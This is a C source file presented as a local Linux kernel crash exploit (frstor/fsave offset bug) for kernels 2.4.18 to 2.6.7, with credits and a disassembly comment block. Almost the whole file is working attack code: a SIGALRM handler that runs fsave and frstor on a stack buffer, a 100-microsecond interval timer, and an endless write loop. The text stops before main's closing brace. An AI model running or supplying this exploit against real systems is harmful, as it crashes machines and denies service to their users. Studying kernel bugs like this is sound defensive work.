/* ---------------------------------------------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* ---------------------------------------------------------
*/

/*
-----------------------------------------
Some debugging information made
available by stian_@_nixia.no
-----------------------------------------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);